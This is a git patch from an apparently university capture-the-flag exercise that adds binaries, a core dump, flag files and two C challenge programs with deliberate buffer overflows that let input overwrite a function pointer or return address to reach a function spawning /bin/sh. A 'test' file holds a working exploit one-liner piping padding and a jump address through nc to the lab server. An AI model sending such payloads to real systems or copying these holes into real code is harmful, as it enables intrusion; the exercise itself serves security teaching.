From a16c96b6438de17637474c8e28a0a2fb1f424e36 Mon Sep 17 00:00:00 2001 From: Eggert Jung Date: Mon, 5 Jan 2026 03:42:05 +0100 Subject: [PATCH] solved 1 --- 4/level1/core | Bin 0 -> 249856 bytes 4/level1/flag.txt | 1 + 4/level1/level1 | Bin 0 -> 20008 bytes 4/level1/level1.c | 58 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 4/level1/test | 5 +++++ 4/level2/flag.txt | 1 + 4/level2/level2 | Bin 0 -> 16896 bytes 4/level2/level2.c | 22 +++++++++++++++++++++ 8 files changed, 87 insertions(+) create mode 100644 4/level1/core create mode 100644 4/level1/flag.txt create mode 100755 4/level1/level1 create mode 100644 4/level1/level1.c create mode 100644 4/level1/test create mode 100644 4/level2/flag.txt create mode 100755 4/level2/level2 create mode 100644 4/level2/level2.c diff --git a/4/level1/core b/4/level1/core new file mode 100644 index 0000000000000000000000000000000000000000..0b475d34b35541438d1b36a8e7eabddcc9c2be79 GIT binary patch literal 249856 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zzf{j_D|_0P7A9&dB}L~*dx1{mw@HU?zsgQ&E}X{x32B&77cObwwr`!rzEN&C?sFNq zSk^v`{dbm%3NLUOxL9_Tw0HOO)n&r|7x@c=;FZ0i*H2@A;!2_az99Kr*%eY(6 +#include +#include +#include +#include + +struct topic { + char question[64]; + char answer[32]; + int (*check_response)(struct topic *topic); +}; + +void win() { + char *argv[2]; + argv[0] = "/bin/sh"; + argv[1] = NULL; + execve(argv[0], argv, NULL); +} + +int check_math_response(struct topic *topic) { + int answer = atoi(topic->answer); + if (answer == 0x7a69) { + puts("You got it."); + return 0; + } else { + puts("Try again."); + return 1; + } +} + +int check_weather_response(struct topic *topic) { + if (!strcmp(topic->answer, "Yes\n")) { + puts("It's inevitable."); + return 0; + } else { + puts("Are you sure about that?"); + return 1; + } +} + +int main(int argc, char **argv) { + // Disable output buffering. Not part of the challenge. + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + + struct topic topics[] = { + {"What is 3077 * 10 + 567?", "", check_math_response}, + {"Will it ever rain this year?", "", check_weather_response}}; + + srand(time(NULL)); + struct topic *topic = &topics[rand() % 2]; + + puts(topic->question); + fgets(topic->answer, sizeof(*topic), stdin); + printf("addr: %X\n", topic->check_response); + return topic->check_response(topic); +} diff --git a/4/level1/test b/4/level1/test new file mode 100644 index 0000000..2abce17 --- /dev/null +++ b/4/level1/test @@ -0,0 +1,5 @@ +unit activation code +32x spacer for array +then jump address (reverse order) + +printf 'p90xiy6HFLfLKSyxptNlpYr1IHGlZvMS\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x36\x12\x40\00\00\00\00\00\ncat flag.txt\n' | nc binexp.stud12.hacklab.ias.tu-bs.de 4001 diff --git a/4/level2/flag.txt b/4/level2/flag.txt new file mode 100644 index 0000000..edd5b55 --- /dev/null +++ b/4/level2/flag.txt @@ -0,0 +1 @@ +hacklab{thanks_mario_but_the_flag_is_on_another_server} diff --git a/4/level2/level2 b/4/level2/level2 new file mode 100755 index 0000000000000000000000000000000000000000..e2258e0439bc51dfa5b51b26b104a0efb2cae739 GIT binary patch literal 16896 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 literal 0 HcmV?d00001 diff --git a/4/level2/level2.c b/4/level2/level2.c new file mode 100644 index 0000000..9675792 --- /dev/null +++ b/4/level2/level2.c @@ -0,0 +1,22 @@ +// gcc -o level2 -no-pie -fno-stack-protector level2.c +#include +#include + +void win() { + char *argv[2]; + argv[0] = "/bin/sh"; + argv[1] = NULL; + execve(argv[0], argv, NULL); +} + +int main(int argc, char **argv) { + // Disable output buffering. Not part of the challenge. + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + + char buffer[32]; + puts("What do you want to talk about?"); + fgets(buffer, 320, stdin); + puts("Bye."); + return 0; +}